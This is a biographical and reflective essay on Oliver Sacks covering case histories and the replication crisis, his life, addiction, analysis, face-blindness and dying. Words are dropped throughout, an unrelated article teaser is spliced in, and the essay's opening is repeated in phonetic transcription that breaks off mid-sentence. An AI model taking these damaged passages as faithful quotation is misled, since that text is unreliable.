this was not a dry debate about how to report science, but about a profound philosophical difference. when dr. luria was a young man, he presented his first book, the nature of human conflicts (1932), which aimed to be both objective but also to report on cases in detail, to the russian psychologist ivan pavlov, inventor of behaviourism. a day later, when dr. luria met him, the old man's eyes were blazing, and he tore the book in half and threw it to the ground, roaring, "you call this science! science proceeds from elementary parts and builds up; here you are describing behaviour as a whole!" dr. luria was declared "un-pavlovian" and "un-soviet," and had to keep his extensive case histories in the drawer for about 30 years before daring to publish them, and only after having first published many standard group studies and treatises.
group studies look at aspects of people: for instance, they select scores on tests, and compare them. one would think that a larger study would always trump a single case study. but group studies, like case histories, have both strengths and weaknesses.
dr. sacks wrote that "all sorts of generalizations are made possible by dealing with populations [group studies] but one needs the concrete, the particular, the personal too, and it is impossible to convey the nature and impact of any neurological condition without entering and describing the lives of individual patients."
case histories are the only place in the medical literature where we see, if not the whole patient, at least enough to get a picture of a living human being.
case histories can make hundreds of observations about a few people, and thus may not be representative of the larger population; group studies on the other hand, make a few observations about many people. the question is: is it possible to understand a person with a brain illness, by describing him or her in bits and pieces by observing just a few variables?
the assumption underlying the typical group study of a disease is that each participant has the same disease, and that any variation between them whether they exercise, for instance, or have other genetic risk factors or psychological issues is relatively insignificant. this assumption of uniformity certainly doesn't hold when talking about the brain, which is so complex, and differs extensively from person to person. as well, no two brain injuries are identical, and usually affect different brain areas.
this tremendous variation between patients is probably one key contributor to a problem that has now been acknowledged as a major one in the life and medical sciences: the replication crisis.
one would have to have lived in a cave within a cave for the last 10 years not to have noticed that many key medical findings from group studies are being reversed, almost monthly be it studies on the usefulness of mammograms and prostate tests, or the effectiveness of various medications. many of the finest randomized controlled trials (rcts), we are now learning, cannot be replicated. worse, most published group studies in medicine can't be reproduced, leading to what europe's premier science journal, nature, now calls "the crisis."
a study published in the journal of the american medical association in 2014 showed that 35 per cent of the conclusions of the finest rcts, assessed by peer review and published in the most respected medical journals, cannot be replicated on of their raw data. and the most downloaded article in the history of the journal medicine, appearing in 2005 and called why most published research findings are false, showed how bias easily sneaks into data analysis. this has led nature to call for new methods to try to eliminate bias in medicine and life sciences.
thus, there is less safety in numbers in these fields than we might wish. (i take no pleasure in this, as one who writes on life sciences.) this is why we need to be open to a range of study methods, both single case studies and group studies.
as for the retort that case histories are not "scientific" because they are not "quantitative" that confuses statistics, one tool of science, with science itself. francis crick, who, after dna, turned his attention to the problem of consciousness, eagerly pored over the sacks case histories in draft form. he did so knowing, as neurologist and neuroscientist v.s. explains: neurology, most of the major discoveries that have withstood the test of time were, in fact, based initially on single case studies and demonstrations."
our views of what constitutes in science depend on the paradigm of the day. a paradigm is a theory with associated laws, practices, and related technological and analytical tools about an aspect of the universe.
statistical paradigms dispense with technologies. but changing from one form of technology to another has unintended consequences. true, we don't tend to think of the report as a technology. but i would argue that it is, and that the technology that underlies the case history is not just writing, but language itself an invented medium that allows us to put our thoughts and subjective experiences into words. and, so far, it is the best medium we have for becoming aware of and conveying private experiences. language, though ancient, is not less sophisticated for being old, but more, having been refined over millennia. when the subject we are studying is the nature of human experience itself, this is not technology we can dispense with.
the language we use for the encounter affects the nature of that very relationship. the word "patient" comes from the root for "one who suffers" and it goes best with another old-fashioned word: physician or, heaven forbid, healer. but these words the language of medicine for centuries are increasingly being swept away by impersonal technological terms, which manage to be bland and hideously undignified at the same time: terms like user" and systems provider."
the language of "user" and provider" masks the fundamental insight in the word "patient." when we are truly sick, we are suffering, dependent, and not wholly ourselves. we require a "healer" (which comes from the old english haelan, which means not simply to "cure" but to "make whole"). we require not just a provider of goods and services but also a relationship we can trust.
our remote, language is a pathetic replacement for a vanishing, highly personal relationship, an ancient archetype that is being buried. people can feel stripped of their dignity, autonomy and on entering such "systems." the logistical demands of those systems, along with the presence of devices such as computers, can directly intrude into the relationship. physicians, compelled by numerous pressures from the efficiency experts," must spend as much time looking at their screens during visits as at their patients.
increasingly, clinics and hospitals treat clinicians as interchangeable "service providers." once we enter such a system, to make up for the loss of my doctor or my nurse, we are assured we now have something better: "the team." doctors and nurses may come and go, but the team will always be there. but will a team with interchangeable members we may barely know really have our back in a crisis, really care about us, as much as someone with whom we have an ongoing relationship?
all this care an oxymoron is not simply the product of underfunding health care. it occurs in nations rich and poor, capitalist and socialist. rather, it grows out of a paradigm that sees the world of illness and health solely in material, analytical, statistical and technological terms.
against this, how we long for an old-fashioned, irreplaceable dr. sacks, taking call every night, with his assessments of "his" patients. for in a world in which the doctor is too easily replaced, so too, we sense, is the patient.
dr. sacks seeing patients at beth abraham, 1988.
the man who mistook his wife for a hat (1985) was based on the prevailing view of its time, one built up over the and most of the centuries, that the brain was made up of several hundred little "organs," each of which had a genetically task. the adult brain was fixed. the great triumph of that era of neurology and neuroscience was to begin to map the brain, where each of these areas were.
hat gave readers a first tour through these little organs, while also describing the human drama of how these patients were affected by their malfunctions and misfortunes. these were stories, as dr. sacks saw it, of patients who either lost their identity because of a brain lesion, or who triumphed and found a way to preserve that identity.
in the late 1980s, however, neuroscience underwent a major shift. with the increasing recognition of the discovery that even the adult brain's physical structure is adaptable and can change in response to experience dr. sacks realized that hat was based on a partially outmoded view of the brain.
clinically, he was beginning to observe that was at work in people with neurological disease, as they adjusted to their illnesses.
in his book an anthropologist on mars (1995), he showed how, owing to "the brain's remarkable," illness could even "play a paradoxical role, by bringing out latent powers, developments, evolutions, forms of life, that might never be seen, or even be imaginable, in their absence."
to learn of these evolutions, he left his office and spent time with patients as they worked, travelled, and lived their lives. he explored skills in autistic people; how or strokes might give rise to new ways of seeing the world. no longer was dr. sacks seeing his suffering patients as either losing their identity, or preserving it; these were instead all stories of the metamorphosis of identity. in most of the cases, he made sophisticated psychoanalytic observations about how the mental life and the neurological problems interacted, pushing for a more holistic neurology.
dr. sacks used his understanding of not to try to cure, alter or improve the people he was writing about. his purpose was to understand, to appreciate, how the human spirit changed in response to brain changes.
anthropologist is the book where dr. sacks achieves staggering heights, and shows he has no peer. i know of no better, more subtly observed, case histories in-century neurology.
dr. sacks writing on a car roof.
i met oliver dr. sacks only once, in the spring of 2008.
zarela martinez, a dynamic new york restaurateur, was the author of a book on the food and life of her native oaxaca. oliver had written oaxaca journal, his own exploration of southern mexico, especially its ferns (he was an amateur pteridologist), and when he learned of, he showed up at her restaurant one day, asking her to autograph his copy of her book. a friendship ensued.
some time later contacted me: coming across dr. endorsement of my first book, she had bought it, and then got in touch because she was using some of the principles i described to help minimize the onslaught of her own parkinson's symptoms.
upon learning that oliver and i had never met, became excited ("another excuse for a party!") and organized a small dinner at her house. it was intimate, with my wife, karen;; her partner, jamie (a retired actor); oliver; james watson, the nobel laureate and of dna; and dr. watson's wife, liz. i had previously dined with francis crick, of watson and crick, and dr. sacks had been close with dr. crick, but neither of us had ever met dr. watson until that evening. this assortment of guests was typical of a get-together, and comfortable for dr. sacks: his own eclectic circle could bring together an astronaut, a dental hygienist, a fern expert, a car dealer, several nobel laureates, and the person who scrubbed his floors.
she sat oliver and me together. i wanted to thank him for what his writings meant to me, and for what he had done for me personally. when the manuscript of my first book was complete, it was sent out to many people for comment. he was the only one to respond, remarkable in a man with so many demands on his time. (i say this as someone who has not always managed to do the same for others myself.)
i expressed my heartfelt gratitude; he was warm, but self-minimizing, in a british way. as we dug into the dinner, and discussed current projects, the naturalist emerged. he discoursed, like a botanist, on our salad, but not all vegetables, i learned, were equal: he had a particular passion for radishes, and he carefully singled them out from the other, leafy things on his plate.
he was, i had been told by a colleague who studied with him as a resident, painfully shy, and i remember, more than anything, the slowly unfolding pace of our conversation. he spoke softly, was attentive, tactful, gentle, and utterly unlike some of the and intellectuals from the brilliant oxford set of his university days.
we settled into our orbit, found our range and roster of shared interests, and the conversation proceeded from a mutual interest in russian literature (he raised oblomov, the lead character in ivan novel, about a man who got nothing done), to dr. luria and mutual professional challenges, including keeping up with correspondence. dr. sacks received thousands of letters. "the worst," he said, with distress, "are those who write hoping for magic."
toward the end of the evening, he told me, with some pride and tenderness, and in a nod to the fact that i was also a psychoanalyst, that he had to go, because he had an appointment with his own analyst in the morning. "we've been seeing each other for a long time."
lifting weights as a novice at the club in london, 1956.
oliver sacks had a good start in life, born in london to a loving, orthodox jewish family, immediately followed by a very traumatic childhood, which he wrote about in a first memoir, uncle tungsten: memories of a chemical boyhood (2001). during the nazi bombing of london, oliver was evacuated, with his brother, to a boarding school called, in the midlands.
the headmaster beat all the boys; he beat oliver on his bottom till the cane broke, and sent oliver's parents the bill for the cane. the older boys soon beat the youngest among them. he was often hungry, and survived mostly on turnips and coarse for cattle, because the matron stole the food parcels his parents sent. his parents, both physicians, busy in london with war duties, could only rarely visit. in the four years he was a student at, he was allowed to visit home only once. he felt abandoned, betrayed, desolate and hopeless. his belief in god was shaken. "he always said," kate edgar, dr. assistant and close friend, told me, "that the exile to boarding school was the major wound in his life."
to survive, oliver took refuge in numbers, thinking about them, manipulating them, exploring mathematical relationships. when the war ended, this evolved into an interest in chemistry. he also went from being a child to acting out he came home utterly changed. when he wasn't replicating the major experiments of modern chemistry, he loved making explosions and noxious gases ("bangs and stinks," as he called them). his teacher wrote in his school report, "sacks will go far, if he doesn't go too far." as an adolescent, he became a serious motorcyclist.
the man i dined with wrote, "i cannot say (nor would anyone who knows me say) that i am a man of mild disposition. on the contrary, i am a man of vehement disposition, and extreme in all my passions."
braefield was not the only agony from his youth. when he was 18, oliver, questioned by his father, acknowledged that he had sexual feelings for boys. "don't tell ma," oliver said, "she won't be able to take it." his father did tell her, though, and when she saw oliver, she said, "you are an abomination. i wish you had never been born." it was never discussed again.
he later wrote, "my mother, so open and supportive in most ways, was harsh and inflexible in this area." it was, probably, all the more agonizing because his relationship with her remained, until she died, his most important. as he wrote in on the move, "my mother's death was the most devastating loss of my life the loss of the deepest and perhaps, in some sense, the relation of my life."
ultimately, he was forgiving. "we are all creatures of our upbringings, our cultures, our times. and i have needed to remind myself, repeatedly, that my mother was born in the 1890s, and had an orthodox upbringing and that in england in the homosexual behaviour was treated not only as a perversion but as a criminal offence."
torn by conflicted feelings, oliver had to lead a furtive romantic life through his 20s, when he had several love affairs.
oliver sacks with his new norton motorbike in 1956.
oliver became a combination of an intellectual and a renegade. he studied medicine in britain and then made his way to north america, crisscrossing the continent on a motorcycle, and getting into some dangerous accidents. he briefly spent some time hanging out with angels, biked across canada, and tried to sign up as a pilot with the royal canadian air force. he later moved to california, where he set a weightlifting record, and also began a medical residency in neurology.
at the end of work on friday, he'd exchange his white coat for leathers, and the "wolf" (his middle name) would come out, wanting speed, adventure, risk and novelty, and he'd ride his motorcycle, sometimes all night, to the grand canyon, to catch the sunrise. he'd ride back all sunday night, for medical rounds monday morning.
arriving in the united states, in the 1960s, his deep interest in both chemistry and the mind drew him to try many different kinds of drugs. many of his weightlifting friends used speed and he did, too. driving his use was deep emotional distress: his drug use escalated after a soured love affair. "i craved some deeper connection 'meaning' in my life, and it was the absence of this, i think, that drew me into addiction to amphetamines "
by this point many of dr. friends had died on amphetamines. he was, often, "half-psychotic" and emaciated. one new year's eve, high on the drug, he had a lucid moment: "oliver, you will not see another new year's day, unless you get help."
dr. sacks started undergoing psychoanalysis in 1966, "knowing i would not survive without help." stoned much of the time, he realized dr. leonard, his analyst, could both pierce his defences, and "not be deflected by my glibness." dr. got him off drugs, so the real analytic work could begin, and taught him "about paying attention, listening, to what lies beyond consciousness or words." dr. sacks wrote of his analysis, "i think it saved my life many times over."
verbatim: oliver sacks on his experience with drug use
one of the most remarkable things about oliver is that, though he is known as such a deeply sensitive writer and person, it was not always so.
among his friends was poet thom gunn; they often exchanged manuscripts. after praising a draft of, mr. gunn felt he could now reveal his true feelings about dr. early diary writings, and wrote to him: "i found you so talented, but so deficient in one quality just the most important quality call it humanity, or sympathy, or something like that. and, frankly, i despaired of your ever becoming a good writer, because i didn't see how one could be taught such a quality. your deficiency of empathy made for a limitation of your observation. what was deficient in these writings is now the supreme organizer of i wonder if you know what happened."
he had learned to empathize.
dr. sacks was thrilled by the letter, and spent a long time pondering how he had changed. was it that he had fallen in and out of love? was it his attachment to his patients? or a drug experience that opened him up to great empathy? he concluded that "psychoanalysis had played a crucial role in allowing me to develop."
people in analysis frequently do develop more empathy for others, by several circuitous routes. most commonly, they learn which of their own disowned, repudiated or repressed feelings they routinely project onto others. once these projections are cleared away, they can actually take a far better look at others, and determine what they may be feeling.
as well, people who have undergone long-term, severe traumas survive them by cutting off their own feelings them, and becoming numbed or by forgetting. one thing dr. sacks unearthed during his analysis, for instance: his parents did visit him at, though he had no memories of it.
dr. sacks had another unusual problem, one that he believed his shyness, but that may well have affected his ability to empathize: a rare neurological condition called "face-blindness" (technically, congenital prosopagnosia).
it meant that the processor in his brain that normally analyzes differences between faces never developed properly. throughout his life, he could not recognize acquaintances or friends.
dr. was profound. once, he apologized for bumping into a large, bearded man, only to recognize that the man was himself in a mirror. another time, he began preening himself in front of a mirror, only to realize that the bearded reflection he was staring at wasn't a mirror image at all, but another, now rather confused man. at times he misinterpreted facial expressions and gestures, sometimes endearingly. once, when he was lecturing too long, ms. edgar, from the wings, repeatedly drew her finger across her throat. he thought she was signalling to him that her chin was bleeding.
children learn to empathize in large part by recognizing the facial expressions of others. two areas of the brain, circuits (which have strong ties to the emotional processors of the brain) and the brain's circuitry, allow us to read people's expressions, and hence their emotions, and even to understand and control our own emotions. we now know that, with various targeted brain exercises, these areas, if compromised, can sometimes be developed with incremental exercise.
i wonder whether may well have contributed not only to his shyness, but to the lack of empathy that existed in his earlier life.
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dr. sacks, for reasons he does not explain in his memoir, remained celibate for over three decades. but when he was 75 years old, he writes, "i met someone i liked. timid and inhibited all my life, i let a friendship and intimacy grow between us, perhaps without fully realizing its depth." he and the writer billy hayes fell in love. the relationship was in full bloom when oliver was 77, a redemptive gift of old age. "it has sometimes seemed to me that i have lived at a certain distance from life. this changed when billy and i fell in love. habits of a lifetime's solitude, and a sort of implicit selfishness and self- absorption, had to change."
another gift of old age was a form of healing with his family. though dr. sacks had many family members in israel, who fled there after the second world war (his cousin abba eban was israel's eloquent deputy prime minister in the mid-sixties), he had not visited since he was 22. oliver had long felt he would be uncomfortable in a deeply religious society. in an interview, he had once described himself as "an old jewish atheist," a telling phrase, because one would think that being an atheist would disqualify one from identifying with one's original religion. but with dr. sacks, truth lay in the particular, the historical and the evolutionary.
in 2014, he finally returned to israel, to mark the hundredth birthday of a relative. while there, he visited his cousin robert john aumann, with whom he had become close in the 1990s. dr. aumann was a powerful, athletic man of great warmth and had a huge white beard that made him "look like an ancient sage." a mathematician and rationalist, he had won the nobel prize in economics. he was also an orthodox jew, and would take his almost 30 children and grandchildren skiing at once, packing kosher plates for them all. he loved to champion the peace, beauty, and what dr. dr. sacks described as its "remoteness from concerns."
"i had felt a little fearful visiting my orthodox family with my lover, billy my mother's words still echoed in my mind but billy, too, was warmly received," dr. sacks wrote. "how profoundly attitudes had changed, even among the orthodox, was made clear by robert john when he invited billy and me to join him and his family at their opening sabbath meal."
dr. sacks continued: "the peace of the sabbath, of a stopped world, a time outside time, was palpable, infused everything, and i found myself drenched with a wistfulness, something akin to nostalgia, wondering what if: what if a and b and c had been different? what sort of person might i have been? what sort of life might i have lived?"
shortly after that, he completed his memoir, on the move, glad he had been able "for the first time in my life, to make a full and frank declaration of my sexuality, facing the world openly, with no more guilty secrets locked up inside me."
at blue mountain center, 2010.
the art of dying is not learned on the deathbed.
these things, in oliver sacks, it seems to me, are all of a piece: his love, since he was a boy, of the close study of particulars in nature; his joyful wonder, and insatiable curiosity; his fascination for the orange and indigo, for cephalopods, cycads, metals and chemicals, numbers, ferns, and radishes, invertebrates, all kinds of brains; his ability to see in destitute patients with bizarre, odd, uncanny, problems, their full humanity; his generosity to other, younger authors and scientists; his ability to begin to love late in life, and forgive those he had long loved; and the gratitude, and serenity, that he was able to express, even as he was dying. they are all manifestations of the appreciative sense.
gratitude is an alloy: part attitude, part feeling. it is a philosophical emotion, the product of taking stock. when someone gives us something and we are appreciative, we are grateful for it, but also for our relationship with them. there is also some humility in being truly grateful. in expressing our thanks, we acknowledge our incompleteness, by expressing our debt to our benefactor.
but to whom or what does the atheist, if he feels thankful for his life as a whole, feel grateful? this is not easy to answer, if one believes that our lives are a product of chance, and molecules in motion.
somehow, dr. sacks seems never to have believed that the random picture that our science, in its current form, paints of the world, need give rise to a disenchanted, picture of life as profane.
i was once struck by an incongruity reading his description of a trip to the arizona desert with the autistic artist stephen wiltshire. they had spent an afternoon in the canyon de chelly, with a navajo artist who showed them "a special sacred vantage point" from which to draw.
both began drawing, while the navajo artist told mr. wiltshire all the myths of that place. but "stephen was indifferent to all this," wrote dr. sacks. yet when they were done, mr. drawing was far better, and "seemed (even to the navajo artist) to communicate the strange mystery and sacredness of the place. stephen himself seems almost devoid of any spiritual feeling; nonetheless he had caught the physical expression of what we, the rest of us, call the 'sacred.' "
dr. sacks could have written that mr. wiltshire had captured the "beauty," or what was "precious" in the scene, or even its "wondrous," or "mysterious," "awe-inspiring" nature. but he insisted he caught the sacredness of it, a religious category if ever there was one.
this paradox the depiction of a sacred world, while feeling oneself devoid of spiritual feeling or conviction may well have applied to dr. sacks himself, and indeed may apply to many of us. we want to believe that the planet, life, nature, our loved ones are sacred, but at the same time we do not accept the mystical premises of religions, which are the sources of ideas of the sacred.
ransack the theories of modern science, and you will find many categories, but the distinction will not be among them. the universe, we are told, is composed of matter in purposeless motion, governed in large part by chance. the idea that life has a design, and organisms a teleology, or end, became suspect, of course, with dr. hero, charles darwin. evolution is opportunistic, and emerges from a series of chemical accidents producing random mutations; it is not toward some end, as was believed by aristotle, science, and of course many religions.
yet many of us live with the two, with the scientific and the sacred, both at once. and perhaps one of the reasons dr. work has such a strong appeal is that, despite his being a champion of modern science, he approached his patients' lives, life and nature with a reverence that treats them as almost sacred, and this appeals particularly to those of a modern, secular cast of mind.
it appeals, precisely because the premise that we are nothing but molecules in random motion so the universe for us, and leaves us feeling longing for more. it is a disenchantment that is hard for even the hardheaded scientist to tolerate; we prefer our nihilism without too deep an abyss. it is not enough to wonder about the mystery; we make it sacred, too.
and we long for thinkers like dr. sacks, who remind us that science is about wonder, and who, by so doing, hint that perhaps the idea that we are merely matter in motion is just part of the story, but not the whole story. his emphasis on wonder reminds us that science is about opening, not just closing, questions.
why is gratitude of such great magnitude so rare?
perhaps because gratitude does not always go unopposed. have often seen gratitude as having an emotional opposite, envy. sometimes a flash of envy can be a helpful sign, a spur that tells you, "you know, you really want this try for it." but very often, the envious person sees something wonderful in the world, and instead of appreciating it, attempts to make the envious feeling go away, by devaluing or denying its worth (those grapes were sour, anyway); or he or she may try to spoil or destroy the envied object in reality. if one does this enough, one ends up feeling starved, because one finds oneself living in an emptied world. envy destroys the possibility of love; confronted by a cherished, idealized object of our affection, envy cannot tolerate the goodness in them, and seeks to destroy them; and envy does so by first undermining any feelings of we might have for that person.
the envious have a particularly hard time growing old and dying.
they cannot tolerate the fact that the young, and not they, have their lives before them. they feel pain, and emptiness. we speak of people being consumed with envy but filled with gratitude. it's paradoxical that, by acknowledging that there are wonderful things in the world, and that we are incomplete, we can feel filled up even as we bid the world farewell.
ms. edgar told me that her atheist friend sometimes liked to be read, of all things, the bible. when i think of oliver's last days, i think of a biblical sentence that i've always found instructive in the twofold art of living and dying.
it reads, "and abraham died full of years."
not emptied of them; filled by them.
norman doidge, md, is is the author of the brain that changes itself and of the expanded paperback edition of the brain's way of healing.
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jean comfort and joy: 'what we have to do is find the places of hope' jean vanier created a unique community for mentally disabled adults to nurture a different kind of life: one focused on connection rather than commerce. more than 50 years later, ian brown went on a journey to understand how simply admitting our weaknesses can make us strong. | ɪn ˈfɛbruˌɛri, 2015 nʊˈrɑləʤəst ˈɑlɪvər sæks ˈɑrgjuəbli ðə wərldz breɪn ˈdɔktər ənd ðə ˈgreɪtəst fəˈzɪʃən ˈraɪtər ɪn ˈɪŋlɪʃ, roʊt ən ˈɑrtɪkəl ɪn ðə nu jɔrk taɪmz kɔld maɪ oʊn laɪf, əˈnaʊnsɪŋ ðət "maɪ lək həz rən aʊt." ˈdɑktər. sæks, 81 jɪrz oʊld, stɪl ˈwaɪldli pərˈdəktɪv, clear-headed*, ˈfilɪŋ roʊˈbəst, ənd sˈwɪmɪŋ ə maɪl ə deɪ, hæd ʤɪst faʊnd aʊt hi hæd ˈməltəpəl metastases*, frəm ən ˈkænsər ðət hæd bɪn ˈtritɪd naɪn jɪrz ˌbiˈfɔr. ˌwənˈθərd əv hɪz ˈlɪvər wɑz fɪld wɪθ ˈkænsər. noʊ ˈsunər hæd hi ʃɛrd hɪz ɪl ˈfɔrʧən ðən dɪd hi bɪˈgɪn tɪ raɪt əv hɪz ˈgrætəˌtud fər ðə jɪrz hi hæd bɪn ˈgrænɪd sɪns hɪz ərˈɪʤənəl ˌdaɪəgˈnoʊsəs, ənd hɪz ˈoʊvərˌɔl ˈfilɪŋ əv ˈgrætəˌtud fər ˈhævɪŋ lɪvd ɛz "ə biɪŋ, ə ˈθɪŋkɪŋ ˈænəməl, ɔn ðɪs ˈbjutəfəl ˈplænət ˈstɔri kənˈtɪnjuz bɪˈloʊ ˌædvərˈtaɪzmənt ˈhɑrdli ə wərd mɔr wɑz sɛd əˈbaʊt ðə ˈkænsər. fər naʊ, feɪs tɪ feɪs wɪθ daɪɪŋ, hi wɑz nɑt kwaɪt dən wɪθ ˈlɪvɪŋ. hi wʊd riˈstrɪkt hɪmˈsɛlf tɪ ɛˈsɛnʃəlz, wɪʧ mɛnt seɪɪŋ ˌgʊdˈbaɪ tɪ dɪr frɛndz ənd ˈfæməli, ənd kənˈtɪnjuɪŋ tɪ raɪt ɛz hi ˈɔlˌweɪz hæd, ˈhoʊpɪŋ tɪ daɪ "ɪn ˈhɑrnɪs." ə grup əv ʃɔrt, ɛkˌstrɔrdəˈnɛrəli əˈfɛktɪŋ ˈɛˌseɪz ˈfɑloʊd, hɪz ˌfɛrˈwɛl tɪ ðə wərld, ˈlivɪŋ ˈmɛni ˈridərz ɪn tɪrz. ˈdɑktər. ˈspɛʃəlti hæd bɪn ˈdɑkjəmənɪŋ haʊ ən ˌɪndəˈvɪʤəwəl, træpt ɪn ən ɪkˈstrim ˈmɛntəl steɪt ðət ˈɔltərd pərˈsɛpʃən ənd ˈivɪn aɪˈdɛntəˌti, rɪˈteɪnd hɪz juˈmænɪti. haʊ, wən ˈwəndərd, maɪt ˈdɑktər. sæks bɛr əp wɪn ˈfeɪsɪŋ hɪz oʊn ˈəltəmət ˌtrænsfərˈmeɪʃən? ðɛr wər səˈpraɪzɪz, ənd səm ˌrɛvəˈleɪʃənz, tu, ɪn ðiz ˈlɪrɪkəl ˌmɛdɪˈteɪʃənz, wɪʧ hæv bɪn ˈgæðərd təˈgɛðər ɪn ə ˈvɛri ʃɔrt bʊk kəˈlɛkʃən kɔld, ˈfɪtɪŋli, ˈgrætəˌtud, wɪʧ əˈpɪrd ɔn noʊv. 24 nɑt lɔŋ ˈæftər ðə riˈlis əv hɪz ˈmɛmˌwɑr, ɔn ðə muv. ðə ˈɛˌseɪz ɪn ˈgrætəˌtud hæd ə spɛr ˈbjuti əˈbaʊt ðɛm ənˈjuˌʒuəl fər ə ˈraɪtər hu soʊ ləvd ðə rɪʧ ˈtænʤənt. ðeɪ wər juˈnik əˈməŋ hɪz ˈəðər, mɔr ləʃ, ˌsaɪənˈtɪfɪk ˈraɪtɪŋz. ðeɪ hæd ðə fil əv ˈwɪzdəm ˈlɪtərəʧər. ˈwɪzdəm sɪfts; ə waɪz mæn, ˈmaɪndfəl ðət hi həz ˈlɪtəl taɪm tɪ seɪ wət hi məst, gɪts tɪ ðə pɔɪnt. ənd ðə toʊn wɑz ənˈjuˌʒuəl. ðeɪ wər boʊθ ənd ˈpɔɪnjənt. ðiz ər tu kˈwɑlətiz ðət ˈrɛrli goʊ təˈgɛðər; wi tɛnd tɪ θɪŋk əv ˈstoʊəˌsɪzəm ɛz ə kaɪnd əv ˈɑrmər wɔrn əˈgɛnst ɑr ˈɪˌmoʊʃənz, ənd ˈpɔɪnjənsi ɛz ðə ˈbreɪkɪŋ θru, ˈɪntu ɑr strim əv ˈkɑnʃəsnəs, əv ˈɪˌmoʊʃənz, ˈivɪn ɑr moʊst ˈtɛndər ənd ˈdɛləkət ˈfilɪŋz. ðə ˈpɔɪnjənsi ənd ˈstoʊəˌsɪzəm əv ðə ˈgrætəˌtud ˈɛˌseɪz wɑz ˈhaɪtənd baɪ ˈdɑktər. riˌɪtərˈeɪʃən ðət hi wɑz ən ˈeɪθiəst. hi wɑz, ɛz fɑr ɛz hi nu, ˈfeɪsɪŋ ə ˈtoʊtəl əv hɪz aɪˈdɛntəˌti. ˌɪnˈstɛd əv "ˈbætəlɪŋ" hɪz ˈɪlnəs, ðə ˈkɑmən ˈmɛtəfɔr əv səʧ əˈkaʊnts, hi ækˈsɛptɪd ðət hi wɑz goʊɪŋ tɪ daɪ. ənd hɪz ˈætəˌtud, ɪn ˈgrætəˌtud, ɪz ˈəltəmətli tɪ si daɪɪŋ ɑd ɛz ɪt ɪz tɪ seɪ ɪt ɛz ən ˌɑpərˈtunəti, əv sɔrts. hɪz ˈbərʤənɪŋ əˈwɛrnəs ðət hɪz laɪf ɪz ˈɛndɪŋ ɪz əˈfɔrdɪŋ ɪm ə ˈvɪʒən əv ɪt hi hæd nɑt hæd ˌbiˈfɔr. "ˈoʊvər ðə læst fju deɪz, aɪ hæv bɪn ˈeɪbəl tɪ si maɪ laɪf ɛz frəm ə greɪt ˈæltəˌtud, ɛz sɔrt əv ə ˈlænˌskeɪp, ənd wɪθ ə ˈdipənɪŋ sɛns əv ðə kəˈnɛkʃən əv ɔl ɪts pɑrts." ðə ˈfaɪnəl ˈɛˌseɪ kənˈkludɪd: "ənd naʊ, wik, ʃɔrt əv brɛθ, maɪ ˈməsəlz ˈmɛltɪd əˈweɪ baɪ ˈkænsər, aɪ faɪnd maɪ θɔts, ˌɪnˈkrisɪŋgli, nɑt ɔn ðə ˌsupərˈnæʧərəl ər ˈspɪrɪˌʧuəl bət ɔn wət ɪz mɛnt baɪ ˈlɪvɪŋ ə gʊd ənd ˈwərθˈwaɪl laɪf əˈʧivɪŋ ə sɛns əv pis wɪˈθɪn ˌwənˈsɛlf. aɪ faɪnd maɪ θɔts ˈdrɪftɪŋ tɪ ðə ˈsæbəθ, ðə deɪ əv rɛst, ðə ˈsɛvənθ deɪ əv ðə wik, ənd pərˈhæps ðə ˈsɛvənθ deɪ əv wənz laɪf ɛz wɛl, wɪn wən kən fil ðət wənz wərk ɪz dən, ənd wən meɪ, ɪn gʊd ˈkɑnʃəns, rɛst." ˈstɔri kənˈtɪnjuz bɪˈloʊ ˌædvərˈtaɪzmənt moʊst ˈridərz keɪm tɪ ˈdɑktər. sæks fɑr ˈsunər ðoʊ, θru hɪz ˈmɛdɪkəl ˈraɪtɪŋ, wɪʧ hæd ˈɔlˌweɪz bɪn ə ˈlɪtərˌɛri ɪˈvɛnt ɛz wɛl ɛz ə ˌsaɪənˈtɪfɪk wən. w.h*. ˈɔdən kɔld hɪz ˈsɛkənd bʊk,, ə "ˈmæstərˌpis." ðə ˈprɑmənənt ˈlɪtərˌɛri ˈkrɪtɪk fræŋk roʊt əv ɪt, "ðɪs ˈdɑktərz rɪˈpɔrt ɪz ˈrɪtən ɪn proʊz əv səʧ ˈbjuti ðət ju maɪt wɛl lʊk ɪn veɪn fər ɪts ˈikwəl əˈməŋ ˈlɪvɪŋ prækˈtɪʃənərz əv bɛlz ˈlɛtərz." bət hi wɑz ˈɔlsoʊ ə fəˈzɪʃənz fəˈzɪʃən, ənd wɪn hi daɪd, ðə ˈsərʤɪn roʊt ɪn ðə nu ˈjɔrkər, "noʊ wən tɔt mi mɔr əˈbaʊt haʊ tɪ bi ə ˈdɔktər ðən ˈɑlɪvər sæks." ðɪs ˈdɑktər. glind nɑt frəm ˈwərkɪŋ wɪθ ˈdɑktər. sæks æt ðə ˈbɛdˌsaɪd, bət frəm ˈrɛdɪŋ ɪm. ˈdɑktər. sæks sɔ hɪmˈsɛlf ɛz ə ˈnæʧərələst, kət lus wɪˈθɪn ðə wərld əv ˈmɛdəsən, ənd ˈnæʧərəlɪsts ləv tɪ kəˈlɛkt, ˈkætəˌlɔg, dɪˈskraɪb ənd dɪˈsərn, ɪn greɪt ˈditeɪl, ðə ˈmænɪˌfoʊld ˌvɛriˈeɪʃənz ɪn ˈneɪʧər. ˈdɑktər. sæks wɑz ˈwɛdɪd tɪ ðə ˌprɑpəˈzɪʃən ðət wi lərn bɛst frəm ə kloʊz ˈstədi əv ðə ˌpɑˈtɪkjələr. hi ˈheɪtɪd ˈtɛkstˌbʊks, wɪθ ðɛr ˌʤɛnərələˈzeɪʃənz ənd rɪˈmoʊt ˈlæŋgwɪʤ, ənd saɪəns baɪ kəˈmɪti. hi roʊt tɪ iʧ ˈpeɪʃənts juˈnik ɪkˈspɪriəns, ˈɔfən ˈjuzɪŋ ðɛr oʊn ˌɪdioʊˌsɪnˈkrætɪk spiʧ. hi ˈlɪsənd nɑt ˈoʊnli wɪθ ə ˈstɛθəˌskoʊp, bət ə poʊəts ɪr. ðəs ˈdɑktər. ˈraɪtɪŋ rikˈwaɪərd ə ˈplɛnɪfəl proʊz. hi ˈnɛvər juzd ʤɪst wən ˈæʤɪktɪv wɪn hi kʊd juz ˈmɛni; hi ləvd ˈkrɪˌskrɔsɪŋ bɪtˈwin keɪs rɪˈpɔrts ˈrɪtən ˈsɛnʧəriz ənd ˈkɑntənənts əˈpɑrt; ənd hɪz ˈfʊtˌnoʊts gru laɪk vaɪnz frəm ðə ˈbɑtəm əv ðə peɪʤ ˈəpwərd wɪθ iʧ ˈsəbsəkwənt ɪˈdɪʃən. hi hɪd ˈtrɛʒərz 